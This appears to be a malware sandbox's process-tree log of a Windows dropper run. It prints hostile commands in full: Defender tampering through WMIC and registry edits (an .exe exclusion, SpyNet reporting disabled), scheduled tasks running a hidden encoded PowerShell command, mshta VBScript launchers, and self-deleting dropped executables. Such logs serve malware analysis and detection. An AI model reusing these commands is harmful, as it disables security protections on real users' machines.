C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True16⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True17⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"13⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&14⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3215⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6415⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Riempiuti.mpg14⤵
-
C:\Windows\SysWOW64\cmd.execmd15⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ZNvHaEhYXOrMLiQTEjZiqnWwlLOExENKgeAZNuYpTaHezaAdeCRwWEsBRcvHPJEaqzbIHQunhPgIRTHSlnCRNLNJKZosJszpOgeqURJk$" Seguitare.mpg16⤵
-
C:\Users\Admin\AppData\Roaming\Animatrici.exe.comAnimatrici.exe.com E16⤵
-
C:\Users\Admin\AppData\Roaming\Animatrici.exe.comC:\Users\Admin\AppData\Roaming\Animatrici.exe.com E17⤵
-
C:\Users\Admin\AppData\Roaming\RegAsm.exeC:\Users\Admin\AppData\Roaming\RegAsm.exe18⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost16⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"13⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&14⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3215⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6415⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gVSAUdZhr" /SC once /ST 07:45:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="13⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gVSAUdZhr"13⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gVSAUdZhr"13⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bEwGusBEGbIeKSSfjR" /SC once /ST 19:21:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\MEmhXUX.exe\" XY /site_id 216660 /S" /V1 /F13⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bEwGusBEGbIeKSSfjR"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gb2jmlew.ucn\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\gb2jmlew.ucn\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\gb2jmlew.ucn\gcleaner.exe /mixfive10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gbdzvuqx.nig\bumperWW1.exe & exit9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\gbdzvuqx.nig\bumperWW1.exeC:\Users\Admin\AppData\Local\Temp\gbdzvuqx.nig\bumperWW1.exe10⤵
-
C:\Users\Admin\Documents\afD64N7mXGKt9hQG7gDUbHPp.exe"C:\Users\Admin\Documents\afD64N7mXGKt9hQG7gDUbHPp.exe"11⤵
-
C:\Users\Admin\Documents\BleSYuAO1WvVvRYRfAmzQI9o.exe"C:\Users\Admin\Documents\BleSYuAO1WvVvRYRfAmzQI9o.exe"11⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\BleSYuAO1WvVvRYRfAmzQI9o.exe"12⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK13⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\ZLuF0EcQ8C18YMbHs5n4O7lV.exe"C:\Users\Admin\Documents\ZLuF0EcQ8C18YMbHs5n4O7lV.exe"11⤵
-
C:\Users\Admin\Documents\ZLuF0EcQ8C18YMbHs5n4O7lV.exeC:\Users\Admin\Documents\ZLuF0EcQ8C18YMbHs5n4O7lV.exe12⤵
-
C:\Users\Admin\Documents\W6_3TZvCVV7QwlseSt5WS6aY.exe"C:\Users\Admin\Documents\W6_3TZvCVV7QwlseSt5WS6aY.exe"11⤵
-
C:\Users\Admin\Documents\Cs7qdOiylPFXUNKZi1EJNKjk.exe"C:\Users\Admin\Documents\Cs7qdOiylPFXUNKZi1EJNKjk.exe"11⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST12⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST12⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"12⤵
-
C:\Users\Admin\Documents\quWa_BSUA8rRCE9NMnOabLBU.exe"C:\Users\Admin\Documents\quWa_BSUA8rRCE9NMnOabLBU.exe" /mixtwo13⤵
-
C:\Users\Admin\Documents\QXu07zFlx8wgmdcbzt8twy5Y.exe"C:\Users\Admin\Documents\QXu07zFlx8wgmdcbzt8twy5Y.exe"13⤵
-
C:\Users\Admin\Documents\L71cX4wj5no7lekUVktnM9X7.exe"C:\Users\Admin\Documents\L71cX4wj5no7lekUVktnM9X7.exe"13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\Documents\L71cX4wj5no7lekUVktnM9X7.exe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF """" =="""" for %q In (""C:\Users\Admin\Documents\L71cX4wj5no7lekUVktnM9X7.exe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )14⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\Documents\L71cX4wj5no7lekUVktnM9X7.exe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "" =="" for %q In ("C:\Users\Admin\Documents\L71cX4wj5no7lekUVktnM9X7.exe" ) do taskkill -iM "%~nxq" /f15⤵
-
C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXeroBCqJOQYC.eXe -P0_6X2fnCLFU6G16⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF ""-P0_6X2fnCLFU6G"" =="""" for %q In (""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )17⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "-P0_6X2fnCLFU6G" =="" for %q In ("C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" ) do taskkill -iM "%~nxq" /f18⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\LcGE3.T_v,mPHYMXZs17⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "L71cX4wj5no7lekUVktnM9X7.exe" /f16⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\jPMb2lQFT4j5ibw89ckvprG_.exe"C:\Users\Admin\Documents\jPMb2lQFT4j5ibw89ckvprG_.exe"13⤵
-
C:\Users\Admin\Documents\JFk58L_0_Tqn1Tt8SMGc6Ux_.exe"C:\Users\Admin\Documents\JFk58L_0_Tqn1Tt8SMGc6Ux_.exe"13⤵
-
C:\Users\Admin\Documents\GKEi8qEdMXsUXEvnTJzbHVoS.exe"C:\Users\Admin\Documents\GKEi8qEdMXsUXEvnTJzbHVoS.exe"13⤵
-
C:\Users\Admin\Documents\VDZV_gRaBQ_Tcr213CrDz5Rr.exe"C:\Users\Admin\Documents\VDZV_gRaBQ_Tcr213CrDz5Rr.exe"13⤵
-
C:\ProgramData\3742481.exe"C:\ProgramData\3742481.exe"14⤵
-
C:\ProgramData\4846462.exe"C:\ProgramData\4846462.exe"14⤵
-
C:\ProgramData\7480355.exe"C:\ProgramData\7480355.exe"14⤵
-
C:\Users\Admin\Documents\nxQXJecdeoxjCZ1zryL3z4Al.exe"C:\Users\Admin\Documents\nxQXJecdeoxjCZ1zryL3z4Al.exe"13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JV7QD.tmp\nxQXJecdeoxjCZ1zryL3z4Al.tmp"C:\Users\Admin\AppData\Local\Temp\is-JV7QD.tmp\nxQXJecdeoxjCZ1zryL3z4Al.tmp" /SL5="$108DE,506127,422400,C:\Users\Admin\Documents\nxQXJecdeoxjCZ1zryL3z4Al.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-E979D.tmp\Chmenka.exe"C:\Users\Admin\AppData\Local\Temp\is-E979D.tmp\Chmenka.exe" /S /UID=12415⤵
-
C:\Program Files\Windows Defender Advanced Threat Protection\CUGPDFAHGN\IDownload.exe"C:\Program Files\Windows Defender Advanced Threat Protection\CUGPDFAHGN\IDownload.exe" /VERYSILENT16⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LTJUF.tmp\IDownload.tmp"C:\Users\Admin\AppData\Local\Temp\is-LTJUF.tmp\IDownload.tmp" /SL5="$109AA,994212,425984,C:\Program Files\Windows Defender Advanced Threat Protection\CUGPDFAHGN\IDownload.exe" /VERYSILENT17⤵
-
C:\Program Files (x86)\IDownload\IDownload.App.exe"C:\Program Files (x86)\IDownload\IDownload.App.exe" -silent -desktopShortcut -programMenu18⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ysi9uufr.cmdline"19⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFD2A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFD29.tmp"20⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 138819⤵
-
C:\Users\Admin\AppData\Local\Temp\9f-80046-ef7-d559e-c74756e389a1b\Pocaecihumo.exe"C:\Users\Admin\AppData\Local\Temp\9f-80046-ef7-d559e-c74756e389a1b\Pocaecihumo.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\34-aa1ab-6a6-838bf-7fba8c39fbefe\Wakorynaezhi.exe"C:\Users\Admin\AppData\Local\Temp\34-aa1ab-6a6-838bf-7fba8c39fbefe\Wakorynaezhi.exe"16⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 217217⤵
-
C:\Users\Admin\Documents\IGjJfYGvQFthREYftuOo62Qp.exe"C:\Users\Admin\Documents\IGjJfYGvQFthREYftuOo62Qp.exe"11⤵
-
C:\Users\Admin\Documents\VDU8Q3BZSAUIfijc5WPmFGuC.exe"C:\Users\Admin\Documents\VDU8Q3BZSAUIfijc5WPmFGuC.exe"11⤵
-
C:\Users\Admin\Documents\QLNjdIyTnNLBSaGAOFokmQDe.exe"C:\Users\Admin\Documents\QLNjdIyTnNLBSaGAOFokmQDe.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im QLNjdIyTnNLBSaGAOFokmQDe.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\QLNjdIyTnNLBSaGAOFokmQDe.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im QLNjdIyTnNLBSaGAOFokmQDe.exe /f13⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\TtbIllb3rnoWRnvgnu1gTXIw.exe"C:\Users\Admin\Documents\TtbIllb3rnoWRnvgnu1gTXIw.exe"11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\TtbIllb3rnoWRnvgnu1gTXIw.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\TtbIllb3rnoWRnvgnu1gTXIw.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\TtbIllb3rnoWRnvgnu1gTXIw.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\TtbIllb3rnoWRnvgnu1gTXIw.exe" ) do taskkill /F -iM "%~nxw"13⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -iM "TtbIllb3rnoWRnvgnu1gTXIw.exe"14⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\pTYNnb19CXfGonIK7SGC_JZp.exe"C:\Users\Admin\Documents\pTYNnb19CXfGonIK7SGC_JZp.exe"11⤵
-
C:\Users\Admin\Documents\iLXdlbEoBYJiomzKNgR_cnuZ.exe"C:\Users\Admin\Documents\iLXdlbEoBYJiomzKNgR_cnuZ.exe"11⤵
-
C:\Users\Admin\Documents\TeyHxZBcvIxGxXbjiwPnish7.exe"C:\Users\Admin\Documents\TeyHxZBcvIxGxXbjiwPnish7.exe"11⤵
-
C:\Users\Admin\Documents\ZTne_lou76n0jGI99hFO0hv0.exe"C:\Users\Admin\Documents\ZTne_lou76n0jGI99hFO0hv0.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp34B8_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp34B8_tmp.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp34B8_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp34B8_tmp.exe13⤵
-
C:\Users\Admin\Documents\WBWr7BBuhEvEiwmiNgZVnxLb.exe"C:\Users\Admin\Documents\WBWr7BBuhEvEiwmiNgZVnxLb.exe"11⤵
-
C:\Users\Admin\Documents\mMiTMIBe3NzUOopZwindvevk.exe"C:\Users\Admin\Documents\mMiTMIBe3NzUOopZwindvevk.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\installer.exe"C:\Users\Admin\AppData\Local\Temp\installer.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AV5G8.tmp\installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-AV5G8.tmp\installer.tmp" /SL5="$20770,1158062,843264,C:\Users\Admin\AppData\Local\Temp\installer.exe"13⤵
-
C:\Users\Admin\Documents\VC_redist.x86.exe/install /quiet12⤵
- Executes dropped EXE
-
C:\Windows\Temp\{5507A566-EAF9-48A5-B860-E98822EFE263}\.cr\VC_redist.x86.exe"C:\Windows\Temp\{5507A566-EAF9-48A5-B860-E98822EFE263}\.cr\VC_redist.x86.exe" -burn.clean.room="C:\Users\Admin\Documents\VC_redist.x86.exe" -burn.filehandle.attached=512 -burn.filehandle.self=532 /quiet13⤵
-
C:\Windows\Temp\{700A66BC-F9C3-418E-88FE-1161FC6BF8A2}\.be\VC_redist.x86.exe"C:\Windows\Temp\{700A66BC-F9C3-418E-88FE-1161FC6BF8A2}\.be\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{5AEF3A5A-E684-4D1E-BC35-5EF48ECA3DDB} {B8511A70-7583-49F7-8E5E-D73E896FE11F} 375614⤵
-
C:\Users\Admin\Documents\A6s4Xf8TE1VQWI5_XE9T4ynQ.exe"C:\Users\Admin\Documents\A6s4Xf8TE1VQWI5_XE9T4ynQ.exe"11⤵
-
C:\Users\Admin\Documents\JfRCaC85_FAB0kr5oNfgraff.exe"C:\Users\Admin\Documents\JfRCaC85_FAB0kr5oNfgraff.exe"11⤵
-
C:\Users\Admin\Documents\d5bqhjeHsYZL1Mt2qsedcnsE.exe"C:\Users\Admin\Documents\d5bqhjeHsYZL1Mt2qsedcnsE.exe"11⤵
-
C:\Users\Admin\Documents\_uLwZOIrswBPnEy8Uc6tTf09.exe"C:\Users\Admin\Documents\_uLwZOIrswBPnEy8Uc6tTf09.exe"11⤵
-
C:\Users\Admin\Documents\Px2w7wAjYF7m6KLOG_p8gGRH.exe"C:\Users\Admin\Documents\Px2w7wAjYF7m6KLOG_p8gGRH.exe"11⤵
-
C:\Users\Admin\Documents\Px2w7wAjYF7m6KLOG_p8gGRH.exe"C:\Users\Admin\Documents\Px2w7wAjYF7m6KLOG_p8gGRH.exe"12⤵
-
C:\Users\Admin\Documents\pOmR9ZOZpIOznYryDbLx2jBp.exe"C:\Users\Admin\Documents\pOmR9ZOZpIOznYryDbLx2jBp.exe"11⤵
-
C:\Users\Admin\Documents\80IphqVoBxbe98YvMSVMSyk7.exe"C:\Users\Admin\Documents\80IphqVoBxbe98YvMSVMSyk7.exe"11⤵
-
C:\Users\Admin\Documents\KDRdZI3oS34gaSrO2V0vSj8G.exe"C:\Users\Admin\Documents\KDRdZI3oS34gaSrO2V0vSj8G.exe"11⤵
-
C:\Users\Admin\Documents\zeIa1eqDS2wVKR4T__zIWOas.exe"C:\Users\Admin\Documents\zeIa1eqDS2wVKR4T__zIWOas.exe"11⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe13⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\zKXj17HLciv4csSd4yqNLxrU.exe"C:\Users\Admin\Documents\zKXj17HLciv4csSd4yqNLxrU.exe"11⤵
-
C:\Users\Admin\Documents\ljwjSKbukl2AZFrpyUaGk5jS.exe"C:\Users\Admin\Documents\ljwjSKbukl2AZFrpyUaGk5jS.exe"11⤵
-
C:\Users\Admin\Documents\G61UcOTqxjCKwzHF8aW4Llw6.exe"C:\Users\Admin\Documents\G61UcOTqxjCKwzHF8aW4Llw6.exe"11⤵
-
C:\Users\Admin\Documents\G61UcOTqxjCKwzHF8aW4Llw6.exeC:\Users\Admin\Documents\G61UcOTqxjCKwzHF8aW4Llw6.exe12⤵
-
C:\Users\Admin\Documents\gMOfTXDBkMZpPJA4gxb1lUeu.exe"C:\Users\Admin\Documents\gMOfTXDBkMZpPJA4gxb1lUeu.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 6892 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\gMOfTXDBkMZpPJA4gxb1lUeu.exe"12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 689213⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 6892 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\gMOfTXDBkMZpPJA4gxb1lUeu.exe"12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 689213⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\apcHzUcv4rCaRy3rJRaDJa7A.exe"C:\Users\Admin\Documents\apcHzUcv4rCaRy3rJRaDJa7A.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nzauyfg5.50y\autosubplayer.exe /S & exit9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xbwvqi4p.jwt\installer.exe /qn CAMPAIGN=654 & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\xbwvqi4p.jwt\installer.exeC:\Users\Admin\AppData\Local\Temp\xbwvqi4p.jwt\installer.exe /qn CAMPAIGN=65410⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pkw55qei.ysj\app.exe /8-2222 & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\pkw55qei.ysj\app.exeC:\Users\Admin\AppData\Local\Temp\pkw55qei.ysj\app.exe /8-222210⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1855eca24182.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue1855eca24182.exeTue1855eca24182.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Documents\eDX4ICGult6oHEAJcuIbaa0i.exe"C:\Users\Admin\Documents\eDX4ICGult6oHEAJcuIbaa0i.exe"6⤵
-
C:\Users\Admin\Documents\2geHZrlfwPolcGqIOAlUTpgI.exe"C:\Users\Admin\Documents\2geHZrlfwPolcGqIOAlUTpgI.exe"6⤵
-
C:\Users\Admin\Documents\KFZVm7jXlwubWhDSElv9zzCJ.exe"C:\Users\Admin\Documents\KFZVm7jXlwubWhDSElv9zzCJ.exe"6⤵
-
C:\Users\Admin\Documents\bFN9E70VTJCzKHrGctysybo_.exe"C:\Users\Admin\Documents\bFN9E70VTJCzKHrGctysybo_.exe"6⤵
-
C:\Users\Admin\Documents\wGllHIfIPk8pZ1TIm4fBexCu.exe"C:\Users\Admin\Documents\wGllHIfIPk8pZ1TIm4fBexCu.exe"6⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"7⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"8⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"7⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7fff010ca380,0x7fff010ca390,0x7fff010ca3a08⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1836 /prefetch:28⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1904 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2508 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2516 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1892 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=2 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1640 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1644,14778971376412623591,17447133762581824317,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:18⤵
-
